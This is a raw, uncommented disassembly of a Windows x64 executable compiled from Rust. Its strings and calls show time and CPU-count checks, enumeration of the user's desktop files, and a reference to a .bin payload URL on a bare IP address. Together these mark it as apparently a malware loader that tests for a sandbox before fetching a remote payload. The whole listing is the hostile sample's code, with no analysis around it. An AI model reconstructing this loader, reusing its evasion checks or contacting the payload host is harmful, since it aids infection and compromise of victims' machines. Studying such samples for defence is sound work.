mov rcx, qword [rbp + 0x820]
mov rdx, qword [rbp + 0x828]
call fcn.140030a09
mov rcx, qword [rbp + 0x838]
mov rdx, qword [rbp + 0x840]
call fcn.140030a09
mov rsi, qword [rbp + 0x850]
mov rdi, qword [rbp + 0x860]
add rsi, 8
sub rdi, 1
jb 0x14000724d
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.140030a09
add rsi, 0x18
jmp 0x140007235
mov rax, qword [rbp + 0x858]
test rax, rax
je 0x14000726c
imul r8, rax, 0x18
mov rcx, qword [rbp + 0x850]
push 8
pop rdx
call fcn.140002283
mov rcx, qword [rbp + 0xb40]
mov rdx, qword [rbp + 0xb48]
call fcn.140001edd
mov rcx, qword [rbp + 0xb98]
mov rdx, qword [rbp + 0xb70]
call fcn.140030a09
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
lea rsi, [rbp + 0x820]
push 0x25
pop r8
mov rcx, rsi
call fcn.140002a0a
mov rdi, qword [rsi]
cmp rdi, 3
je 0x140008196
lea rdx, [rbp + 0x830]
mov rbx, qword [rdx - 8]
lea rsi, [rbp + 0x1e0]
mov r8d, 0xb0
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], rbx
lea rdi, [rbp - 0x50]
lea rsi, [rbp + 0x1d0]
mov rcx, rdi
mov rdx, rsi
call fcn.14000483f
mov rax, qword [rdi]
test rax, rax
je 0x14000819f
mov rdx, qword [rbp - 0x48]
movups xmm0, xmmword [rbp - 0x40]
lea rcx, [rbp + 0xb40]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
call fcn.1400016ae
mov rdi, rax
lea rdx, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov rcx, rax
call fcn.14000208f
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rdi, [rbp + 0x820]
mov rcx, rdi
call fcn.140011680
mov cl, byte [rdi]
mov dl, byte [rdi + 1]
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
call fcn.1400020b6
push 3
pop rcx
call fcn.1400828d0
lea rdx, str.https:__quan.suning.com_getSysTime.dosysTime1
push 0x25
pop r8
mov rcx, rdi
call fcn.140002a0a
mov rbx, qword [rdi]
cmp rbx, 3
je 0x1400081a5
lea rdx, [rbp + 0x830]
mov r14, qword [rdx - 8]
lea rdi, [rbp + 0x430]
mov r8d, 0xb0
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi - 0x10], rbx
mov qword [rdi - 8], r14
lea rdi, [rbp - 0x50]
lea rdx, [rbp + 0x420]
mov rcx, rdi
call fcn.14000483f
mov rax, qword [rdi]
test rax, rax
je 0x1400081ae
mov rcx, qword [rbp - 0x48]
movups xmm0, xmmword [rbp - 0x40]
lea rdi, [rbp + 0xb00]
movups xmmword [rdi + 0x10], xmm0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rdi + 0x20], xmm0
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov rcx, rdi
call fcn.1400016ae
mov rbx, rax
lea rdx, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov rcx, rax
call fcn.14000208f
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rbx, [rbp + 0x820]
mov rcx, rbx
call fcn.140011680
mov cl, byte [rbx]
mov dl, byte [rbx + 1]
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
call fcn.1400020b6
mov rcx, rdi
call fcn.140001b67
lea rcx, [rbp + 0xb40]
call fcn.140001b67
mov dword [rsp + 0x20], 0x20019
lea r8, str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment___The_number_of_CPUs_is:
lea rdi, [rbp + 0x820]
push 0x40
pop r9
mov rcx, rdi
mov rdx, 0xffffffff80000002
call fcn.1400024ca
cmp qword [rdi], 0
je 0x1400074a5
mov r15, qword [rbp + 0x828]
lea rcx, [rbp + 0x420]
mov qword [rcx], r15
mov qword [rbp + 0x820], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x828], xmm0
call fcn.140001e3d
jmp 0x1400074f6
mov rbx, qword [rbp + 0x828]
lea r8, str.NUMBER_OF_PROCESSORS
lea r14, [rbp + 0x420]
push 0x14
pop r9
mov rcx, r14
mov rdx, rbx
call fcn.140002551
mov r12, qword [r14]
mov r15, qword [r14 + 8]
mov r14, qword [r14 + 0x10]
mov rcx, rbx
call fcn.14009d21c
test r12, r12
je 0x14000747f
mov qword [rbp + 0x820], r12
mov qword [rbp + 0x828], r15
mov qword [rbp + 0x830], r14
mov rcx, 0xffffffff80000002
call fcn.14009d21c
mov qword [rbp + 0x1d0], rdi
lea rax, str.___n_
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140002271]
mov qword [rbp + 0x1d8], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
call fcn.1400897f0
mov rax, qword [rbp + 0x830]
test rax, rax
je 0x1400081e7
mov rcx, qword [rbp + 0x820]
movzx edx, byte [rcx]
cmp edx, 0x2b
je 0x1400075a1
cmp edx, 0x2d
jne 0x1400075b0
mov dl, 1
cmp rax, 1
je 0x140008091
cmp rax, 9
jae 0x140007633
push 1
pop r8
movzx r9d, byte [rcx + r8]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x140008091
inc r8
cmp rax, r8
jne 0x140007584
jmp 0x1400075d6
dec rax
je 0x14000808f
lea r8, [rcx + 1]
jmp 0x1400075b3
mov r8, rcx
cmp rax, 8
jae 0x1400075f7
xor edx, edx
movzx r9d, byte [r8 + rdx]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x14000808f
inc rdx
cmp rax, rdx
jne 0x1400075bb
mov rdx, qword [rbp + 0x828]
call fcn.140030a09
nop
add rsp, 0xc38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor r9d, r9d
xor r10d, r10d
cmp rax, r9
je 0x1400075d6
movzx r11d, byte [r8 + r9]
imul r10d, r10d, 0xa
seto bl
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x14000808f
mov dl, 2
test bl, bl
jne 0x140008091
inc r9
add r10d, r11d
jno 0x1400075fd
jmp 0x140008091
xor edx, edx
push 1
pop r8
cmp rax, r8
je 0x1400075d6
movzx r9d, byte [rcx + r8]
imul edx, edx, 0xa
seto r10b
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x1400080da
test r10b, r10b
jne 0x1400080da
inc r8
sub edx, r9d
jno 0x140007639
mov dl, 3
jmp 0x140008091
movabs r13, 0x300000002
jmp 0x140007cc3
mov r13, rdx
mov rdi, qword [rbp + 0xb98]
jmp 0x140007c49
mov r8, rdx
test r8, r8
je 0x1400076e7
mov rax, r8
dec r8
cmp byte [r9 + rax - 1], 0x2e
jne 0x140007691
mov r10, rdx
sub r10, rax
jb 0x1400082f5
test r8, r8
je 0x140007731
add rax, r9
mov rdx, r10
jmp 0x14000632f
je 0x1400076fb
cmp rax, 2
je 0x14000776e
cmp rax, 1
jne 0x140007799
cmp word [r12], 0
jne 0x140007799
jmp 0x140007bc0
mov rax, r9
xor r9d, r9d
jmp 0x14000632f
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
jmp 0x140007751
cmp word [r12 + 2], 0x3a
jne 0x14000776e
movzx eax, word [r12 + 4]
test ax, ax
je 0x14000775b
cmp ax, 0x2f
je 0x14000771d
movzx eax, ax
cmp eax, 0x5c
jne 0x14000776e
movzx eax, word [r12]
cmp eax, 0x2f
je 0x140007773
cmp eax, 0x5c
je 0x140007773
jmp 0x140007bc0
xor eax, eax
mov r8, rdx
jmp 0x14000632f
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rdx, r13
jmp 0x140007754
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, rax
mov rdx, r14
call fcn.14009eea0
ud2
movzx eax, word [r12]
cmp eax, 0x2f
je 0x14000776e
cmp eax, 0x5c
jne 0x140007bc0
movzx eax, word [r12]
cmp ax, 0x5c
je 0x140007781
movzx eax, ax
cmp eax, 0x2f
jne 0x140007799
movzx eax, word [r12 + 2]
cmp eax, 0x2f
je 0x140007bc0
cmp eax, 0x5c
je 0x140007bc0
mov qword [rbp + 0xb90], rdx
mov qword [rbp + 0xba8], r12
mov qword [rbp + 0xb30], r15
lea rax, [rbp + 0xb00]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov r14d, 0x200
push 2
pop rax
mov qword [rbp + 0xb88], rax
xor eax, eax
mov qword [rbp + 0xb78], rax
xor edi, edi
xor ebx, ebx
cmp r14, 0x201
jae 0x140007801
mov esi, 0x200
lea r15, [rbp + 0x420]
mov r13, r14
mov r12, qword [rbp + 0xba8]
jmp 0x14000786d
sub r14, rbx
sub rdi, rbx
cmp rdi, r14
mov r12, qword [rbp + 0xba8]
jae 0x140007841
lea rcx, [rbp + 0xb00]
mov rdx, rbx
mov r8, r14
call fcn.1400a1920
mov rax, qword [rbp + 0xb00]
mov qword [rbp + 0xb88], rax
mov rax, qword [rbp + 0xb08]
mov qword [rbp + 0xb78], rax
mov rdi, qword [rbp + 0xb78]
mov eax, 0xffffffff
cmp rdi, rax
mov ebx, 0xffffffff
cmovb rbx, rdi
mov qword [rbp + 0xb10], rbx
mov rsi, rbx
mov r15, qword [rbp + 0xb88]
mov r13, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r12
mov edx, r13d
mov r8, r15
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov r12d, eax
test eax, eax
jne 0x140007898
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14000790b
mov r14d, r12d
cmp r13, r14
jne 0x1400078c6
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400081ff
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r14, r13
jmp 0x1400077e0
jb 0x1400077e0
cmp rsi, r14
jb 0x140008304
and qword [rbp + 0xb50], 0
cmp r12d, 2
mov r9, qword [rbp + 0xb90]
jbe 0x140007921
movzx ecx, word [r15 + 2]
lea r13, [0x1400db4b8]
cmp ecx, 0x3a
jne 0x140007934
cmp word [r15 + 4], 0x5c
jne 0x140007934
push 4
pop rax
jmp 0x1400079c3
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x140007b4e
mov rdi, qword [rbp + 0xba8]
jne 0x1400079b3
movzx edx, word [r15]
jmp 0x14000798e
movzx edx, word [r15]
cmp r12d, 3
jbe 0x140007987
lea rax, [0x140103b50]
cmp dx, 0x5c
jne 0x1400079be
cmp ecx, 0x3f
mov rdi, qword [rbp + 0xba8]
je 0x140008087
cmp ecx, 0x5c
jne 0x140007999
movzx ecx, word [r15 + 4]
cmp ecx, 0x3f
je 0x14000807b
cmp ecx, 0x2e
jne 0x14000799f
cmp word [r15 + 6], 0x5c
jne 0x14000799f
add r14, 0xfffffffffffffffc
add r15, 8
push 4
jmp 0x1400079b0
mov rdi, qword [rbp + 0xba8]
cmp dx, 0x5c
jne 0x1400079b3
movzx ecx, word [r15 + 2]
cmp cx, 0x5c
jne 0x1400079b3
add r14, 0xfffffffffffffffe
add r15, 4
lea r13, [0x1400db4c0]
push 8
pop rax
jmp 0x1400079ca
lea r13, [0x140103b50]
xor eax, eax
jmp 0x1400079ca
mov r13, rax
xor eax, eax
mov rdi, qword [rbp + 0xba8]
lea rbx, [r14 + rax]
inc rbx
cmp rbx, r9
jbe 0x140007a54
mov qword [rbp + 0xba8], r13
mov r13, rax
lea r8, [rbx + rbx]
test r9, r9
je 0x140007a08
lea rax, [r9 + r9]
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 2
mov qword [rbp + 0x1e0], rax
jmp 0x140007a10
and qword [rbp + 0x1d8], 0
lea rsi, [rbp - 0x50]
push 2
pop rdx
lea r9, [rbp + 0x1d0]
mov rcx, rsi
call fcn.140080f30
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
je 0x140007a8f
movabs rax, 0x8000000000000001
cmp rcx, rax
mov r9, qword [rbp + 0xb90]
mov rax, r13
mov r13, qword [rbp + 0xba8]
jne 0x140008318
cmp rax, r9
jbe 0x140007a87
lea rcx, [rbp + 0xb40]
xor edx, edx
mov rsi, rax
mov r8, rax
call fcn.1400a1920
mov r12, qword [rbp + 0xb50]
mov rdi, qword [rbp + 0xb40]
mov rbx, qword [rbp + 0xb48]
mov rax, rsi
jmp 0x140007aad
xor r12d, r12d
mov rbx, r9
jmp 0x140007aad
mov qword [rbp + 0xb40], rcx
mov qword [rbp + 0xb48], rbx
xor r12d, r12d
mov rdi, rcx
mov rax, r13
mov r13, qword [rbp + 0xba8]
lea r8, [rax + rax]
mov rsi, rdi
lea rcx, [rdi + r12*2]
mov rdx, r13
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
add r12, rdi
mov qword [rbp + 0xb50], r12
mov rax, rbx
sub rax, r12
cmp rax, r14
jae 0x140007aff
lea rcx, [rbp + 0xb40]
mov rdx, r12
mov r8, r14
call fcn.1400a1920
mov r12, qword [rbp + 0xb50]
mov rsi, qword [rbp + 0xb40]
mov rbx, qword [rbp + 0xb48]
lea r8, [r14 + r14]
lea rcx, [rsi + r12*2]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r14
mov qword [rbp + 0xb50], r12
cmp r12, rbx
jne 0x140007b3b
lea rcx, [rbp + 0xb40]
mov rdx, rbx
call fcn.1400825f0
mov rsi, qword [rbp + 0xb40]
mov r12, qword [rbp + 0xb50]
and word [rsi + r12*2], 0
inc r12
mov qword [rbp + 0xb50], r12
xor r13d, r13d
cmp qword [rbp + 0xb78], 0
mov rdi, qword [rbp + 0xb98]
lea r14, [rbp + 0x820]
mov r15, qword [rbp + 0xb30]
push 1
pop rbx
je 0x140007b7f
push 2
pop rdx
mov rcx, qword [rbp + 0xb88]
call fcn.1400085d0
test r13, r13
je 0x140007ba6
cmp qword [rbp + 0xb48], 0
je 0x140007c49
mov rcx, qword [rbp + 0xb40]
push 2
pop rdx
call fcn.1400085d0
jmp 0x140007c49
mov r12, qword [rbp + 0xb40]
mov rdx, qword [rbp + 0xb48]
mov r13, rdx
test r12, r12
je 0x140007c49
mov qword [rbp + 0xb90], rdx
lea rsi, [rbp + 0x420]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r12
mov rdx, rsi
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
mov qword [rbp + 0xb88], rax
je 0x140007c72
mov al, byte [0x14010d2e0]
push 0x30
pop rcx
push 8
pop rdx
call fcn.140008540
test rax, rax
je 0x1400082e1
mov r13, rax
mov qword [rax], rbx
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
mov byte [rax + 0x28], 0
lea rcx, [rbp + 0x820]
lea rdx, [rbp + 0x420]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
push 1
pop rsi
jmp 0x140007c86
push 2
pop rsi
cmp qword [rbp + 0xb80], 0
je 0x140007c65
push 1
pop rdx
mov rcx, qword [rbp + 0xb70]
call fcn.1400085d0
push 1
pop rdx
mov rcx, rdi
call fcn.1400085d0
jmp 0x140007cbe
push 2
pop rsi
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
cmp qword [rbp + 0xb90], 0
je 0x140007c9b
push 2
pop rdx
mov rcx, r12
call fcn.1400085d0
cmp qword [rbp + 0xb80], 0
je 0x140007cb4
push 1
pop rdx
mov rcx, qword [rbp + 0xb70]
call fcn.1400085d0
cmp qword [rbp + 0xb88], 0xffffffffffffffff
je 0x140007c65
cmp esi, 2
jne 0x140007d1e
lea rsi, [rbp + 0x1d0]
mov qword [rsi], r13
mov qword [rbp + 0x820], rsi
lea rax, str.Unable_to_read_the_users_desktop_file_list:
lea rcx, [rbp + 0x420]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x140086da0]
mov qword [rbp + 0x828], rax
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 1
call fcn.140089a50
mov rcx, rsi
call fcn.140001e3d
jmp 0x140008063
lea rdi, [rbp + 0x434]
lea rdx, [rbp + 0x820]
mov r8d, 0x254
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xba8], r13
mov qword [rdi - 0x14], r13
mov rax, qword [rbp + 0xb88]
mov qword [rdi - 0xc], rax
mov dword [rdi - 4], esi
movzx eax, word [rdi + 0x2c]
movzx edx, word [rdi + 0x2e]
movzx r8d, word [rdi + 0x30]
lea r9, [rbp + 0x466]
mov word [rbp + 0xb98], ax
cmp ax, 0x2e
sete al
test dx, dx
sete cl
mov dword [rbp + 0xb80], edx
xor edx, 0x2e
mov word [rbp + 0xb70], r8w
or dx, r8w
sete dl
mov r8, qword [r9 - 0x32]
mov qword [rbp + 0xb90], r8
or dl, cl
and dl, al
mov byte [rbp + 0xb78], dl
lea r15, [rbp + 0x1d0]
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
lea rcx, [rbp - 0x50]
xor edi, edi
cmp esi, 1
setne al
or al, byte [rbp + 0xb78]
je 0x140007e8e
mov r8d, 0x250
mov rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rsi, qword [rbp + 0xb88]
mov rcx, rsi
mov rdx, r15
call r14
test eax, eax
je 0x140007f4e
cmp word [rbp + 0x1fc], 0x2e
jne 0x140007e1c
movzx eax, word [rbp + 0x1fe]
test ax, ax
je 0x140007de5
cmp ax, 0x2e
jne 0x140007e1c
cmp word [rbp + 0x200], 0
je 0x140007de5
mov rax, qword [rbp + 0xba8]
lock inc qword [rax]
jle 0x1400080e8
mov r13, rdi
mov rsi, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1d8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xb40], xmm0
movaps xmmword [rbp + 0xb50], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xb60], eax
movzx r14d, word [rbp + 0x1fc]
movzx r12d, word [rbp + 0x1fe]
movzx ebx, word [rbp + 0x200]
mov r8d, 0x21e
lea rdi, [rbp - 0x50]
mov rcx, rdi
lea rdx, [rbp + 0x202]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140007efc
mov rax, qword [rbp + 0xba8]
lock inc qword [rax]
jle 0x1400080e8
mov r13, rdi
lea rdx, [rbp + 0x434]
mov eax, dword [rdx + 0x28]
mov dword [rbp + 0xb60], eax
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movaps xmmword [rbp + 0xb50], xmm1
movaps xmmword [rbp + 0xb40], xmm0
mov r8d, 0x21e
mov rdi, rcx
lea rdx, [rbp + 0x466]
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp + 0xb90]
movzx r14d, word [rbp + 0xb98]
mov eax, dword [rbp + 0xb80]
mov r12d, eax
movzx ebx, word [rbp + 0xb70]
mov eax, dword [rbp + 0xb60]
mov dword [rbp + 0xb20], eax
movaps xmm0, xmmword [rbp + 0xb40]
movaps xmm1, xmmword [rbp + 0xb50]
movaps xmmword [rbp + 0xb10], xmm1
movaps xmmword [rbp + 0xb00], xmm0
mov r8d, 0x21e
mov rcx, r15
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0xba8]
mov rdi, r13
mov r13d, r12d
mov r12d, r14d
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x140007f6e
mov rsi, qword [sym.imp.kernel32.dll_GetLastError]
call rsi
cmp eax, 0x12
je 0x140007fef
call rsi
mov esi, eax
shl rsi, 0x20
or rsi, 2
xor eax, eax
mov qword [rbp + 0x828], rax
mov qword [rbp + 0x830], rsi
mov eax, dword [rbp + 0xb20]
lea rsi, [rbp + 0x820]
mov dword [rsi + 0x38], eax
movaps xmm0, xmmword [rbp + 0xb00]
movaps xmm1, xmmword [rbp + 0xb10]
movups xmmword [rsi + 0x28], xmm1
movups xmmword [rsi + 0x18], xmm0
mov word [rbp + 0x85c], r12w
mov word [rbp + 0x85e], r13w
mov word [rbp + 0x860], bx
mov r8d, 0x21e
lea rcx, [rbp + 0x862]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x820], 1
inc rdi
mov rcx, rsi
call fcn.140001c90
xor esi, esi
lea rcx, [rbp - 0x50]
jmp 0x140007dbc
lea rsi, [rbp + 0x420]
and dword [rsi + 0x10], 0
lea rbx, [rbp + 0x820]
and qword [rbx], 0
mov rcx, rbx
call fcn.140001c90
mov rcx, qword [rsi + 8]
call qword [sym.imp.kernel32.dll_FindClose]
mov rcx, rsi
call fcn.140002010
mov qword [rbp + 0x1d0], rdi
mov qword [rbx], r15
lea rax, str.Users_desktop_file_count:
mov qword [rsi], rax
mov qword [rsi + 8], 2
and qword [rsi + 0x20], 0
lea rax, [fcn.14000b430]
mov qword [rbx + 8], rax
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], 1
lea rcx, [rbp + 0x420]
call fcn.1400897f0
mov rcx, qword [rbp + 0xaa0]
mov rdx, qword [rbp + 0xaa8]
call fcn.140030a09
jmp 0x140005e73
cmp word [r15 + 6], 0x5c
jne 0x14000799f
mov r13, rax
jmp 0x1400079ba
mov dl, 1
lea r8, [rbp + 0x420]
mov byte [r8], dl
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a38a8]
push 0x2b
pop rdx
call fcn.14009f2f0
ud2
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
push 0x28
pop rdx
call fcn.14009efa0
jmp 0x14000832d
cmp r9d, 0xa
setb dl
add dl, dl
or dl, 1
jmp 0x140008091
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rsi
mov rdx, rdi
call fcn.14009ef20
ud2
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, r14
mov r8, r12
mov r9, r14
call fcn.14009f510
ud2
lea r8, [rbp + 0x420]
mov rax, qword [rbp + 0xb98]
mov qword [r8], rax
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_get_current_executable_path
lea r9, fcn.140001e3d
push 0x25
jmp 0x1400080b7
mov rdi, r9
jmp 0x14000824b
mov rcx, 0xffffffff80000001
call fcn.14009d62d
lea r8, [rbp + 0x420]
mov dword [r8], 6
mov qword [r8 + 8], rsi
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a3868]
jmp 0x1400080b5
mov rsi, qword [rbp + 0x828]
jmp 0x1400081be
mov rsi, qword [rbp - 0x48]
jmp 0x1400081be
mov rsi, qword [rbp + 0x828]
jmp 0x1400081b2
mov rsi, qword [rbp - 0x48]
lea rcx, [rbp + 0xb40]
call fcn.140001b67
lea r8, [rbp + 0x420]
mov qword [r8], rsi
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400a3888]
jmp 0x1400080b5
xor edx, edx
jmp 0x140008091
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.14009ee20
ud2
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syswindowsmod.rs
push 0x28
pop rdx
call fcn.14009efa0
jmp 0x14000832d
dec rdi
lea r8, str.library_std_srcpath.rs
mov rcx, rdi
xor edx, edx
jmp 0x1400080f9
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14009ef20
jmp 0x14000832d
mov rdi, r14
mov rcx, 0xffffffff80000001
call fcn.14009d62d
lea r8, [rbp + 0x420]
mov dword [r8], 6
mov qword [r8 + 8], rdi
movups xmm0, xmmword [rbp + 0x1d0]
movups xmmword [r8 + 0x10], xmm0
mov rax, qword [rbp + 0x1e0]
mov qword [r8 + 0x20], rax
lea rax, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a3d0f]
lea r9, [0x1400a3868]
push 0x1c
jmp 0x1400080b7
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.srcmain.rshttps:__107.175.3.10_Users_my1_20240205215605986.bin
push 0x2b
pop rdx
call fcn.14009efa0
ud2
call fcn.140008620
ud2
push 1
pop rcx
mov rdx, r15
call fcn.14009eb50
ud2
mov byte [rbp + 0xba7], 1
push 1
pop rcx
mov rdx, r15
call fcn.14009eb50
jmp 0x14000832d
mov qword [rbp + 0xba8], r12
push 8
pop rcx
push 0x30
pop rdx
call fcn.14009eb50
jmp 0x14000832d
lea r8, [0x1400d9380]
mov rcx, rax
jmp 0x1400081f8
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, r14
mov rdx, rsi
call fcn.14009ef20
jmp 0x14000832d
test rcx, rcx
jne 0x140008324
call fcn.140008620
jmp 0x14000832d
mov rdx, qword [rbp - 0x40]
call fcn.14009eb50
ud2
push rsp
and al, 0x20